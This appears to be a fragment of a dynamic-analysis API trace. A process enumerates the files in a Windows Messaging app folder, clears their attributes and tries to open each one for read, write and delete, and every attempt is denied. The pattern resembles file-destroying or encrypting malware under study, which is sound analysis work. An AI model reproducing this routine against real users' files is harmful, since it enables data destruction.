	[0082.313] wcscpy (in: _Dest=0x4773fd0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0082.313] wcscat (in: _Dest=0x4773fd0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0082.313] wcscat (in: _Dest=0x4773fd0, _Source="de-DE.Messaging.config" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\de-DE.Messaging.config") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\de-DE.Messaging.config"
	[0090.696] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\de-DE.Messaging.config" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\de-de.messaging.config")) returned 0x20
	[0090.699] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\de-DE.Messaging.config", dwFileAttributes=0x20) returned 0
	[0090.699] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\de-DE.Messaging.config" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\de-de.messaging.config"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.699] GetLastError () returned 0x5
	[0090.699] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\de-DE.Messaging.config", dwFileAttributes=0x20) returned 0
	[0090.700] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4773fd0) returned 1
	[0090.700] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2957986f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2957986f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2957986f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe15, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE.PhoneNumber.SMS.model", cAlternateFileName="")) returned 1
	[0090.700] wcscmp (_String1="de-DE.PhoneNumber.SMS.model", _String2=".") returned 1
	[0090.700] wcscmp (_String1="de-DE.PhoneNumber.SMS.model", _String2="..") returned 1
	[0090.700] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491eac8
	[0090.700] wcscpy (in: _Dest=0x491eac8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0090.700] wcscat (in: _Dest=0x491eac8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0090.700] wcscat (in: _Dest=0x491eac8, _Source="de-DE.PhoneNumber.SMS.model" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\de-DE.PhoneNumber.SMS.model") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\de-DE.PhoneNumber.SMS.model"
	[0090.700] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\de-DE.PhoneNumber.SMS.model" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\de-de.phonenumber.sms.model")) returned 0x20
	[0090.702] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\de-DE.PhoneNumber.SMS.model", dwFileAttributes=0x20) returned 0
	[0090.702] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\de-DE.PhoneNumber.SMS.model" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\de-de.phonenumber.sms.model"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.702] GetLastError () returned 0x5
	[0090.702] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\de-DE.PhoneNumber.SMS.model", dwFileAttributes=0x20) returned 0
	[0090.703] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491eac8) returned 1
	[0090.703] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2957986f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2957986f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2957986f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x27f, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE.PhoneNumber.SMS.ot", cAlternateFileName="")) returned 1
	[0090.703] wcscmp (_String1="de-DE.PhoneNumber.SMS.ot", _String2=".") returned 1
	[0090.703] wcscmp (_String1="de-DE.PhoneNumber.SMS.ot", _String2="..") returned 1
	[0090.703] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e32c50
	[0090.703] wcscpy (in: _Dest=0x4e32c50, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0090.703] wcscat (in: _Dest=0x4e32c50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0090.703] wcscat (in: _Dest=0x4e32c50, _Source="de-DE.PhoneNumber.SMS.ot" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\de-DE.PhoneNumber.SMS.ot") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\de-DE.PhoneNumber.SMS.ot"
	[0090.703] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\de-DE.PhoneNumber.SMS.ot" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\de-de.phonenumber.sms.ot")) returned 0x20
	[0090.705] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\de-DE.PhoneNumber.SMS.ot", dwFileAttributes=0x20) returned 0
	[0090.705] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\de-DE.PhoneNumber.SMS.ot" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\de-de.phonenumber.sms.ot"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.705] GetLastError () returned 0x5
	[0090.705] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\de-DE.PhoneNumber.SMS.ot", dwFileAttributes=0x20) returned 0
	[0090.705] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32c50) returned 1
	[0090.705] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2957986f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2957986f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2957986f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Email.model", cAlternateFileName="")) returned 1
	[0090.705] wcscmp (_String1="Email.model", _String2=".") returned 1
	[0090.705] wcscmp (_String1="Email.model", _String2="..") returned 1
	[0090.705] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x4717c00
	[0090.705] wcscpy (in: _Dest=0x4717c00, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0090.705] wcscat (in: _Dest=0x4717c00, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0090.705] wcscat (in: _Dest=0x4717c00, _Source="Email.model" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\Email.model") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\Email.model"
	[0090.706] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\Email.model" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\email.model")) returned 0x20
	[0090.706] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\Email.model", dwFileAttributes=0x20) returned 0
	[0090.706] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\Email.model" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\email.model"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.706] GetLastError () returned 0x5
	[0090.706] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\Email.model", dwFileAttributes=0x20) returned 0
	[0090.706] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717c00) returned 1
	[0090.706] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2957986f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2957986f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2957986f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x219, dwReserved0=0x0, dwReserved1=0x0, cFileName="Email.ot", cAlternateFileName="")) returned 1
	[0090.706] wcscmp (_String1="Email.ot", _String2=".") returned 1
	[0090.706] wcscmp (_String1="Email.ot", _String2="..") returned 1
	[0090.706] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4926008
	[0090.706] wcscpy (in: _Dest=0x4926008, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0090.706] wcscat (in: _Dest=0x4926008, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0090.706] wcscat (in: _Dest=0x4926008, _Source="Email.ot" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\Email.ot") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\Email.ot"
	[0090.706] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\Email.ot" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\email.ot")) returned 0x20
	[0090.706] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\Email.ot", dwFileAttributes=0x20) returned 0
	[0090.706] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\Email.ot" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\email.ot"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.707] GetLastError () returned 0x5
	[0090.707] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\Email.ot", dwFileAttributes=0x20) returned 0
	[0090.707] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926008) returned 1
	[0090.707] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2957986f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x295c5d27, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x295c5d27, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x22c23, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB.Calendar.model", cAlternateFileName="")) returned 1
	[0090.707] wcscmp (_String1="en-GB.Calendar.model", _String2=".") returned 1
	[0090.707] wcscmp (_String1="en-GB.Calendar.model", _String2="..") returned 1
	[0090.707] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x477df50
	[0090.707] wcscpy (in: _Dest=0x477df50, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0090.707] wcscat (in: _Dest=0x477df50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0090.707] wcscat (in: _Dest=0x477df50, _Source="en-GB.Calendar.model" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.Calendar.model") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.Calendar.model"
	[0090.707] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.Calendar.model" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\en-gb.calendar.model")) returned 0x20
	[0090.712] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.Calendar.model", dwFileAttributes=0x20) returned 0
	[0090.712] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.Calendar.model" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\en-gb.calendar.model"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.712] GetLastError () returned 0x5
	[0090.712] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.Calendar.model", dwFileAttributes=0x20) returned 0
	[0090.712] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477df50) returned 1
	[0090.712] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x295c5d27, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x295ebf80, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x295ebf80, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB.Calendar.ot", cAlternateFileName="")) returned 1
	[0090.712] wcscmp (_String1="en-GB.Calendar.ot", _String2=".") returned 1
	[0090.712] wcscmp (_String1="en-GB.Calendar.ot", _String2="..") returned 1
	[0090.713] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2e12ab8
	[0090.713] wcscpy (in: _Dest=0x2e12ab8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0090.713] wcscat (in: _Dest=0x2e12ab8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0090.713] wcscat (in: _Dest=0x2e12ab8, _Source="en-GB.Calendar.ot" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.Calendar.ot") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.Calendar.ot"
	[0090.713] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.Calendar.ot" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\en-gb.calendar.ot")) returned 0x20
	[0090.719] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.Calendar.ot", dwFileAttributes=0x20) returned 0
	[0090.719] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.Calendar.ot" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\en-gb.calendar.ot"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.719] GetLastError () returned 0x5
	[0090.719] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.Calendar.ot", dwFileAttributes=0x20) returned 0
	[0090.719] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12ab8) returned 1
	[0090.719] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x295ebf80, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x295ebf80, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x295ebf80, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB.Messaging.config", cAlternateFileName="")) returned 1
	[0090.719] wcscmp (_String1="en-GB.Messaging.config", _String2=".") returned 1
	[0090.719] wcscmp (_String1="en-GB.Messaging.config", _String2="..") returned 1
	[0090.719] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477eb90
	[0090.719] wcscpy (in: _Dest=0x477eb90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0090.719] wcscat (in: _Dest=0x477eb90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0090.719] wcscat (in: _Dest=0x477eb90, _Source="en-GB.Messaging.config" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.Messaging.config") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.Messaging.config"
	[0090.720] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.Messaging.config" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\en-gb.messaging.config")) returned 0x20
	[0090.722] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.Messaging.config", dwFileAttributes=0x20) returned 0
	[0090.722] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.Messaging.config" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\en-gb.messaging.config"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.722] GetLastError () returned 0x5
	[0090.722] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.Messaging.config", dwFileAttributes=0x20) returned 0
	[0090.722] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477eb90) returned 1
	[0090.722] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x295ebf80, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x295ebf80, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x295ebf80, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe09, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB.PhoneNumber.SMS.model", cAlternateFileName="")) returned 1
	[0090.722] wcscmp (_String1="en-GB.PhoneNumber.SMS.model", _String2=".") returned 1
	[0090.722] wcscmp (_String1="en-GB.PhoneNumber.SMS.model", _String2="..") returned 1
	[0090.722] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491dda8
	[0090.722] wcscpy (in: _Dest=0x491dda8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0090.722] wcscat (in: _Dest=0x491dda8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0090.722] wcscat (in: _Dest=0x491dda8, _Source="en-GB.PhoneNumber.SMS.model" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.PhoneNumber.SMS.model") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.PhoneNumber.SMS.model"
